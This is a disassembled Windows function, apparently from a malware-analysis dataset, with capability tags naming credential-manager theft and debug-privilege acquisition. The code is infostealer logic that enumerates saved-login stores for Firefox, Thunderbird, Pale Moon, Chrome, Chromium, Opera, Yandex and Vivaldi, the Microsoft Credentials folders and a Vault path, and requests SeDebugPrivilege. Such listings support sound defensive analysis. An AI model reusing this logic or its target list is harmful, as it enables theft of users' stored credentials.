Function at 0x140072b20
Capabilities:
Acquire credentials from windows credential manager
Acquire debug privileges
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x31a0
call fcn.1400751b0
sub rsp, rax
xor r15d, r15d
xor edx, edx
mov rbx, rcx
mov dword [0x14008e7ac], r15d
call fcn.14005ee3c
cmp dword [0x14008e7ac], r15d
jne 0x140073ec8
lea rcx, [rbx + 0x138]
call fcn.14005ff48
cmp dword [0x14008e7ac], r15d
jne 0x140073ec8
lea rcx, [rbx + 0x110]
call fcn.14005e0b8
cmp dword [0x14008e7ac], r15d
jne 0x140073ec8
lea rcx, [rbx + 0x5a8]
call fcn.140007c54
cmp dword [0x14008e7ac], r15d
jne 0x140073ec8
lea eax, [r15 + 0x20]
lea rcx, [rsp + 0x180]
mov qword [rsp + 0x1b0], r15
mov dword [rsp + 0x1c0], r15d
mov dword [rsp + 0x1b8], r15d
mov qword [rsp + 0x1c8], r15
mov dword [rsp + 0x1bc], eax
mov dword [rsp + 0x1d4], eax
mov dword [rsp + 0x1d8], r15d
mov dword [rsp + 0x1d0], r15d
mov qword [rsp + 0x180], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], r15
call fcn.140051aa8
lea rdx, str.firefox.exe
lea rcx, [rsp + 0x180]
call fcn.1400516f8
mov esi, 0x208
or rbp, 0xffffffffffffffff
cmp rax, r15
mov rdi, rax
lea r12d, [rsi - 9]
je 0x140072d80
lea rcx, [rsp + 0x2132]
mov r8, rsi
xor edx, edx
mov word [rsp + 0x2130], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x1f22]
mov r8, rsi
xor edx, edx
mov word [rsp + 0x1f20], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x1e2]
mov r8, rsi
xor edx, edx
mov word [rsp + 0x1e0], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x3f2]
mov r8, rsi
xor edx, edx
mov word [rsp + 0x3f0], r15w
call sub.msvcrt.dll_memset
lea rcx, [rdi + 4]
lea rdx, [rsp + 0x2130]
call fcn.140063b44
lea rdx, [rsp + 0x1f20]
lea rcx, [rsp + 0x2130]
call fcn.140063b44
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x1f20]
call fcn.140063b44
cmp word [rsp + 0x1e0], r15w
je 0x140072d80
xor eax, eax
lea rdi, [rsp + 0x1e0]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
add rcx, 0xc
cmp rcx, r12
jae 0x140072d49
lea r8, [rsp + 0x3f0]
lea rdx, str.DataProfile
lea rcx, [rsp + 0x1e0]
call fcn.1400639e4
jmp 0x140072d52
mov word [rsp + 0x3f0], r15w
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140072d80
lea rcx, [rbx + 0x140]
lea r8, [rsp + 0x3f0]
lea rdx, [0x140076a00]
call fcn.14006667c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x31d8]
mov dword [rbx + 0x990], r15d
mov dword [rsp + 0x50], 0x400
mov dword [rsp + 0x54], 0x100
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x34], r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x38], r15d
call fcn.1400544f8
mov ebp, dword [rsp + 0x58]
mov esi, r15d
mov rdi, r15
cmp ebp, r15d
jle 0x140072e27
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
cmp rdi, r15
jl 0x140072df4
cmp esi, ebp
jge 0x140072df4
mov eax, dword [r13 + rdi*4]
lea r8, [r12 + rax*2]
jmp 0x140072df7
mov r8, r15
lea rdx, [0x140076a00]
lea rcx, [rbx + 0x140]
call fcn.14006667c
mov r11d, dword [0x14008e7ac]
cmp r11d, r15d
jne 0x140073eb1
add esi, 1
add rdi, 1
cmp esi, ebp
jl 0x140072de0
jmp 0x140072e2e
mov r11d, dword [0x14008e7ac]
cmp r11d, r15d
jne 0x140073eb1
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x31d8]
mov dword [rbx + 0x990], 0x33
mov dword [rsp + 0x80], 0x400
mov dword [rsp + 0x84], 0x100
mov dword [rsp + 0x60], r15d
mov dword [rsp + 0x64], r15d
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov dword [rsp + 0x88], r15d
mov dword [rsp + 0x68], r15d
call fcn.1400547b8
mov ebp, dword [rsp + 0x88]
mov esi, r15d
mov rdi, r15
cmp ebp, r15d
jle 0x140072eed
mov r12, qword [rsp + 0x78]
mov r13, qword [rsp + 0x70]
cmp rdi, r15
jl 0x140072eba
cmp esi, ebp
jge 0x140072eba
mov eax, dword [r13 + rdi*4]
lea r8, [r12 + rax*2]
jmp 0x140072ebd
mov r8, r15
lea rdx, [0x140076a00]
lea rcx, [rbx + 0x140]
call fcn.14006667c
mov r11d, dword [0x14008e7ac]
cmp r11d, r15d
jne 0x140073ea7
add esi, 1
add rdi, 1
cmp esi, ebp
jl 0x140072ea6
jmp 0x140072ef4
mov r11d, dword [0x14008e7ac]
cmp r11d, r15d
jne 0x140073ea7
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x31d8]
mov dword [rbx + 0x990], 0x35
mov dword [rsp + 0xb0], 0x400
mov dword [rsp + 0xb4], 0x100
mov dword [rsp + 0x90], r15d
mov dword [rsp + 0x94], r15d
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
mov dword [rsp + 0xb8], r15d
mov dword [rsp + 0x98], r15d
call fcn.140054a78
mov ebp, dword [rsp + 0xb8]
mov esi, r15d
mov rdi, r15
cmp ebp, r15d
jle 0x140072fca
mov r12, qword [rsp + 0xa8]
mov r13, qword [rsp + 0xa0]
cmp rdi, r15
jl 0x140072f98
cmp esi, ebp
jge 0x140072f98
mov eax, dword [r13 + rdi*4]
lea r8, [r12 + rax*2]
jmp 0x140072f9b
mov r8, r15
lea rdx, [0x140076a00]
lea rcx, [rbx + 0x140]
call fcn.14006667c
mov edx, dword [0x14008e7ac]
cmp edx, r15d
jne 0x140073e9a
add esi, 1
add rdi, 1
cmp esi, ebp
jl 0x140072f84
jmp 0x140072fd0
mov edx, dword [0x14008e7ac]
cmp edx, r15d
jne 0x140073e9a
lea r8, str.Thunderbird
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x31d8]
mov dword [rbx + 0x990], 0x1d
mov dword [rsp + 0xe0], 0x400
mov dword [rsp + 0xe4], 0x100
mov dword [rsp + 0xc0], r15d
mov dword [rsp + 0xc4], r15d
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], r15
mov dword [rsp + 0xe8], r15d
mov dword [rsp + 0xc8], r15d
call fcn.140054d38
mov ebp, dword [rsp + 0xe8]
mov esi, r15d
cmp ebp, r15d
mov rdi, r15
jle 0x1400730ad
mov r12, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xd0]
cmp rdi, r15
jl 0x14007307b
cmp esi, ebp
jge 0x14007307b
mov eax, dword [r13 + rdi*4]
lea r8, [r12 + rax*2]
jmp 0x14007307e
mov r8, r15
lea rdx, [0x140076a00]
lea rcx, [rbx + 0x140]
call fcn.14006667c
mov edx, dword [0x14008e7ac]
cmp edx, r15d
jne 0x140073e8d
add esi, 1
add rdi, 1
cmp esi, ebp
jl 0x140073067
jmp 0x1400730b3
mov edx, dword [0x14008e7ac]
cmp edx, r15d
jne 0x140073e8d
lea r8, str.Moonchild_ProductionsPale_Moon
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x31d8]
mov dword [rbx + 0x990], 0x34
mov dword [rsp + 0x110], 0x400
mov dword [rsp + 0x114], 0x100
mov dword [rsp + 0xf0], r15d
mov dword [rsp + 0xf4], r15d
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r15
mov dword [rsp + 0x118], r15d
mov dword [rsp + 0xf8], r15d
call fcn.140054d38
mov ebp, dword [rsp + 0x118]
mov esi, r15d
cmp ebp, r15d
mov rdi, r15
jle 0x140073190
mov r12, qword [rsp + 0x108]
mov r13, qword [rsp + 0x100]
cmp rdi, r15
jl 0x14007315e
cmp esi, ebp
jge 0x14007315e
mov eax, dword [r13 + rdi*4]
lea r8, [r12 + rax*2]
jmp 0x140073161
mov r8, r15
lea rdx, [0x140076a00]
lea rcx, [rbx + 0x140]
call fcn.14006667c
mov edx, dword [0x14008e7ac]
cmp edx, r15d
jne 0x140073e80
add esi, 1
add rdi, 1
cmp esi, ebp
jl 0x14007314a
jmp 0x140073196
mov edx, dword [0x14008e7ac]
cmp edx, r15d
jne 0x140073e80
mov r12d, 0x208
lea rcx, [rsp + 0x602]
xor edx, edx
mov r8, r12
mov dword [rbx + 0x990], 0x29
mov word [rsp + 0x600], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x1e2]
mov r8, r12
xor edx, edx
mov word [rsp + 0x1e0], r15w
call sub.msvcrt.dll_memset
mov esi, 0x1c
lea rcx, [rsp + 0x600]
mov edx, esi
call fcn.14004ec0c
or rbp, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
lea r13d, [rsi - 0x1b]
repne scasw ax, word [rdi]
lea r14d, [r12 - 9]
not rcx
sub rcx, r13
add rcx, 0x18
cmp rcx, r14
jae 0x140073243
lea r8, [rsp + 0x1e0]
lea rdx, str.GoogleChromeUser_Data
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x14007324c
mov word [rsp + 0x1e0], r15w
lea rdx, [rsp + 0x1e0]
mov rcx, rbx
call fcn.140072a90
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, rsi
cmp rcx, r14
jae 0x140073298
lea r8, [rsp + 0x1e0]
lea rdx, str.GoogleChrome_SxSUser_Data
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x1400732a1
mov word [rsp + 0x1e0], r15w
lea rdx, [rsp + 0x1e0]
mov rcx, rbx
call fcn.140072a90
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x13
cmp rcx, r14
jae 0x1400732ee
lea r8, [rsp + 0x1e0]
lea rdx, str.ChromiumUser_Data
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x1400732f7
mov word [rsp + 0x1e0], r15w
lea rdx, [rsp + 0x1e0]
mov rcx, rbx
call fcn.140072a90
cmp dword [0x14008e7ac], r15d
jne 0x140073e80
lea rcx, [rsp + 0x3f2]
mov r8, r12
xor edx, edx
mov word [rsp + 0x3f0], r15w
call sub.msvcrt.dll_memset
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0xa
cmp rcx, r14
jae 0x14007336c
lea r8, [rsp + 0x3f0]
lea rdx, str.Microsoft
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x140073375
mov word [rsp + 0x3f0], r15w
lea rax, [rsp + 0x2348]
lea r8, [rsp + 0x3f0]
lea rdx, [0x140078b08]
lea rcx, [rsp + 0x2340]
mov qword [rsp + 0x2340], rbp
mov word [rsp + 0x2348], r15w
mov qword [rsp + 0x2748], rax
mov word [rsp + 0x2da0], r15w
mov word [rsp + 0x29a0], r15w
call fcn.140061348
jmp 0x140073456
lea rcx, [rsp + 0x2340]
call fcn.140060e38
cmp eax, r15d
je 0x140073456
lea rcx, [rsp + 0x3f2]
mov r8, r12
xor edx, edx
mov word [rsp + 0x3f0], r15w
call sub.msvcrt.dll_memset
xor eax, eax
lea rdi, [rsp + 0x29a0]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0xa
cmp rcx, r14
jae 0x140073433
lea r8, [rsp + 0x3f0]
lea rdx, str.User_Data
lea rcx, [rsp + 0x29a0]
call fcn.1400639e4
jmp 0x14007343c
mov word [rsp + 0x3f0], r15w
lea rdx, [rsp + 0x3f0]
mov rcx, rbx
mov dword [rbx + 0x990], 0x2d
call fcn.140072a90
lea rcx, [rsp + 0x2340]
call fcn.140061268
cmp eax, r15d
jne 0x1400733c9
cmp dword [0x14008e7ac], r15d
jne 0x140073e73
lea rcx, [rsp + 0x1702]
mov r8, r12
xor edx, edx
mov word [rsp + 0x1700], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x1d12]
mov r8, r12
xor edx, edx
mov word [rsp + 0x1d10], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x1700]
mov edx, 0x1a
call fcn.14004ec0c
xor eax, eax
lea rdi, [rsp + 0x1700]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x27
cmp rcx, r14
jae 0x1400734fe
lea r8, [rsp + 0x1d10]
lea rdx, str.Opera_SoftwareOpera_StableLogin_Data
lea rcx, [rsp + 0x1700]
call fcn.1400639e4
jmp 0x140073507
mov word [rsp + 0x1d10], r15w
lea rcx, [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or r12d, 0xffffffff
cmp eax, r12d
je 0x14007353f
lea rcx, [rbx + 0x530]
lea rdx, [rsp + 0x1d10]
xor r8d, r8d
mov dword [rbx + 0x990], 0x2a
call fcn.14006f55c
lea rcx, [rsp + 0x14f2]
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x14f0], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x600]
mov edx, esi
call fcn.14004ec0c
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x32
cmp rcx, r14
jae 0x1400735a9
lea r8, [rsp + 0x14f0]
lea rdx, str.YandexYandexBrowserUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x1400735b2
mov word [rsp + 0x14f0], r15w
lea rcx, [rsp + 0x14f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, r12d
je 0x1400735e6
lea rcx, [rbx + 0x530]
lea rdx, [rsp + 0x14f0]
xor r8d, r8d
mov dword [rbx + 0x990], 0x2b
call fcn.14006f55c
lea rcx, [rsp + 0x600]
mov edx, esi
call fcn.14004ec0c
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x25
cmp rcx, r14
jae 0x140073632
lea r8, [rsp + 0x14f0]
lea rdx, str.VivaldiUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x14007363b
mov word [rsp + 0x14f0], r15w
lea rcx, [rsp + 0x14f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, r12d
je 0x14007366f
lea rcx, [rbx + 0x530]
lea rdx, [rsp + 0x14f0]
xor r8d, r8d
mov dword [rbx + 0x990], 0x2c
call fcn.14006f55c
mov eax, 0x20
mov qword [rsp + 0x120], r15
mov dword [rsp + 0x130], r15d
mov dword [rsp + 0x128], r15d
mov r12, r15
mov qword [rsp + 0x138], r15
mov dword [rsp + 0x12c], eax
mov dword [rsp + 0x144], eax
mov ebp, r15d
mov dword [rsp + 0x148], r15d
mov dword [rsp + 0x140], r15d
call fcn.140062754
cmp dword [rax + 0x10], r13d
je 0x1400736df
lea rcx, [rsp + 0x120]
call fcn.14006ae00
mov ebp, dword [rsp + 0x148]
mov r12, qword [rsp + 0x138]
cmp dword [0x14008e7ac], r15d
jne 0x140073e66
cmp ebp, r15d
mov esi, r15d
mov r14d, 0xff
jle 0x140073845
cmp esi, r15d
jl 0x14007370a
cmp esi, ebp
mov rdi, r12
jl 0x14007370d
mov rdi, r15
lea rdx, [rdi + 0x400]
lea rcx, [rsp + 0x810]
mov r8d, r14d
mov word [rsp + 0x810], r15w
mov word [rsp + 0xa10], r15w
mov word [rsp + 0xc10], r15w
mov word [rsp + 0x1410], r15w
mov dword [rsp + 0x14d8], r15d
mov dword [rsp + 0x14dc], r15d
mov dword [rsp + 0x14e0], r15d
mov dword [rsp + 0x14e4], r15d
mov word [rsp + 0x14d2], r15w
mov word [rsp + 0x14d4], r15w
call fcn.140062b74
lea rdx, [rdi + 0x600]
lea rcx, [rsp + 0xa10]
mov r8d, r14d
call fcn.140062b74
cmp word [rsp + 0xa10], r15w
jne 0x1400737b9
lea rdx, [rdi + 0x120a]
cmp word [rdx], r15w
je 0x1400737b9
lea rcx, [rsp + 0xa10]
mov r8d, r14d
call fcn.140062b74
lea rdx, [rdi + 0xe00]
lea rcx, [rsp + 0x1410]
mov r8d, 0x60
call fcn.140062b74
lea rdx, [rdi + 0x200]
lea r8, [0x140078c40]
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xc10]
mov r9, rdi
mov rdx, r14
call sub.msvcrt.dll__snwprintf
cmp word [rsp + 0x810], r15w
mov word [rsp + 0x14d4], 0x1e
mov word [rsp + 0x14d2], 2
jne 0x140073823
cmp word [rsp + 0xa10], r15w
je 0x140073833
lea rdx, [rsp + 0x810]
mov rcx, rbx
call fcn.140071ac0
add esi, r13d
add r12, 0x1424
cmp esi, ebp
jl 0x1400736fe
lea rax, [0x140078e38]
mov edi, 0x200
lea rcx, [rsp + 0x1910]
xor edx, edx
mov r8, rdi
mov qword [rsp + 0x160], r15
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x170], r15
mov dword [rsp + 0x168], r15d
mov word [rsp + 0x1910], r15w
mov word [rsp + 0x1b10], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x1b10]
mov r8, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov edi, r15d
mov esi, 0x3ff
lea rdx, [rsp + 0x1910]
lea rcx, [rsp + 0x150]
mov r8d, edi
call fcn.140053fe0
cmp eax, r15d
je 0x140073992
lea rdx, [rsp + 0x1b10]
lea rcx, [rsp + 0xa10]
mov r8d, r14d
mov word [rsp + 0x810], r15w
mov word [rsp + 0xa10], r15w
mov word [rsp + 0xc10], r15w
mov word [rsp + 0x1410], r15w
mov dword [rsp + 0x14d8], r15d
mov dword [rsp + 0x14dc], r15d
mov dword [rsp + 0x14e0], r15d
mov dword [rsp + 0x14e4], r15d
mov word [rsp + 0x14d2], r15w
mov word [rsp + 0x14d4], r15w
call fcn.140062b74
lea rdx, [rsp + 0x1910]
lea rcx, [rsp + 0x810]
mov r8d, r14d
call fcn.140062b74
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0xc10]
mov r8d, esi
call fcn.140062b74
lea rdx, [rsp + 0x810]
mov rcx, rbx
mov word [rsp + 0x14d2], 3
mov word [rsp + 0x14d4], 0x1f
call fcn.140071ac0
add edi, r13d
cmp edi, 3
jl 0x1400738af
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rdx, [rsp + 0x1910]
lea rcx, [rsp + 0x150]
call fcn.140054120
cmp eax, r15d
je 0x140073a8b
lea rdx, [rsp + 0x1b10]
lea rcx, [rsp + 0xa10]
mov r8d, r14d
mov word [rsp + 0x810], r15w
mov word [rsp + 0xa10], r15w
mov word [rsp + 0xc10], r15w
mov word [rsp + 0x1410], r15w
mov dword [rsp + 0x14d8], r15d
mov dword [rsp + 0x14dc], r15d
mov dword [rsp + 0x14e0], r15d
mov dword [rsp + 0x14e4], r15d
mov word [rsp + 0x14d2], r15w
mov word [rsp + 0x14d4], r15w
call fcn.140062b74
lea rdx, [rsp + 0x1910]
lea rcx, [rsp + 0x810]
mov r8d, r14d
call fcn.140062b74
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0xc10]
mov r8d, esi
call fcn.140062b74
lea rdx, [rsp + 0x810]
mov rcx, rbx
mov word [rsp + 0x14d2], 3
mov word [rsp + 0x14d4], 0x1f
call fcn.140071ac0
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rdx, [rsp + 0x1910]
lea rcx, [rsp + 0x150]
call fcn.140054090
cmp eax, r15d
je 0x140073b78
lea rdx, [rsp + 0x1b10]
lea rcx, [rsp + 0xa10]
mov r8d, r14d
mov word [rsp + 0x810], r15w
mov word [rsp + 0xa10], r15w
mov word [rsp + 0xc10], r15w
mov word [rsp + 0x1410], r15w
mov dword [rsp + 0x14d8], r15d
mov dword [rsp + 0x14dc], r15d
mov dword [rsp + 0x14e0], r15d
mov dword [rsp + 0x14e4], r15d
mov word [rsp + 0x14d2], r15w
mov word [rsp + 0x14d4], r15w
call fcn.140062b74
lea rdx, [rsp + 0x1910]
lea rcx, [rsp + 0x810]
mov r8d, r14d
call fcn.140062b74
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0xc10]
mov r8d, esi
call fcn.140062b74
lea rdx, [rsp + 0x810]
mov rcx, rbx
mov word [rsp + 0x14d2], 3
mov word [rsp + 0x14d4], 0x1f
call fcn.140071ac0
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rcx, [rbx + 0x560]
call fcn.140053dd0
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rcx, [rbx + 0x560]
call fcn.1400533b0
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rcx, [rbx + 0x588]
call fcn.140052800
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rcx, [rbx + 0x598]
call fcn.140008c44
cmp dword [0x14008e7ac], r15d
jne 0x140073e59
lea rdx, str.SeDebugPrivilege
lea rcx, [rsp + 0x31d8]
mov qword [rsp + 0x31d8], r15
call fcn.140052bc0
lea rcx, [rsp + 0x600]
mov edx, 0x1c
call fcn.14004ec0c
lea rcx, [rsp + 0x1700]
mov edx, 0x1a
call fcn.14004ec0c
mov r14d, 0x208
lea rcx, [rsp + 0x1e2]
mov r8, r14
xor edx, edx
mov word [rsp + 0x1e0], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x3f2]
mov r8, r14
xor edx, edx
mov word [rsp + 0x3f0], r15w
call sub.msvcrt.dll_memset
or rbp, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x1700]
mov rcx, rbp
lea r12d, [r14 - 9]
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x16
cmp rcx, r12
jae 0x140073caa
lea r8, [rsp + 0x1e0]
lea rdx, str.MicrosoftCredentials
lea rcx, [rsp + 0x1700]
call fcn.1400639e4
jmp 0x140073cb3
mov word [rsp + 0x1e0], r15w
lea rdx, [rsp + 0x1e0]
lea rcx, [rbx + 0x5f0]
xor r8d, r8d
call fcn.14006e110
cmp dword [0x14008e7ac], r15d
jne 0x140073e4c
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x16
cmp rcx, r12
jae 0x140073d14
lea r8, [rsp + 0x1e0]
lea rdx, str.MicrosoftCredentials
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x140073d1d
mov word [rsp + 0x1e0], r15w
lea rdx, [rsp + 0x1e0]
lea rcx, [rbx + 0x5f0]
xor r8d, r8d
call fcn.14006e110
cmp dword [0x14008e7ac], r15d
jne 0x140073e4c
lea rcx, [rsp + 0x3f0]
call fcn.1400625e4
xor eax, eax
lea rdi, [rsp + 0x3f0]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x39
cmp rcx, r12
jae 0x140073d8b
lea r8, [rsp + 0x1e0]
lea rdx, str.config_systemprofileAppDataLocalMicrosoftCredentials
lea rcx, [rsp + 0x3f0]
call fcn.1400639e4
jmp 0x140073d94
mov word [rsp + 0x1e0], r15w
lea rdx, [rsp + 0x1e0]
lea rcx, [rbx + 0x5f0]
xor r8d, r8d
call fcn.14006e110
cmp dword [0x14008e7ac], r15d
jne 0x140073e4c
lea rcx, [rsp + 0x3f2]
mov r8, r14
xor edx, edx
mov word [rsp + 0x3f0], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x600]
mov edx, 0x1c
call fcn.14004ec0c
xor eax, eax
lea rdi, [rsp + 0x600]
mov rcx, rbp
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add rcx, 0x35
cmp rcx, r12
jae 0x140073e22
lea r8, [rsp + 0x3f0]
lea rdx, str.MicrosoftVault4BF4C442_9B8A_41A0_B380_DD4A704DDB28
lea rcx, [rsp + 0x600]
call fcn.1400639e4
jmp 0x140073e2b
mov word [rsp + 0x3f0], r15w
lea rcx, [rbx + 0x890]
lea rdx, [rsp + 0x3f0]
mov r8d, r13d
mov dword [rbx + 0x990], 0x21
call fcn.140009700
lea rcx, [rsp + 0x31d8]
call fcn.140052850
lea rcx, [rsp + 0x160]
call fcn.14006d5b4
lea rcx, [rsp + 0x120]
call fcn.140069a10
lea rcx, [rsp + 0x2340]
call fcn.1400605d8
lea rcx, [rsp + 0xf0]
call fcn.1400611a8
lea rcx, [rsp + 0xc0]
call fcn.1400611a8
lea rcx, [rsp + 0x90]
call fcn.1400611a8
lea rcx, [rsp + 0x60]
call fcn.1400611a8
lea rcx, [rsp + 0x30]
call fcn.1400611a8
lea rcx, [rsp + 0x180]
call fcn.140051798
lea r11, [rsp + 0x31a0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret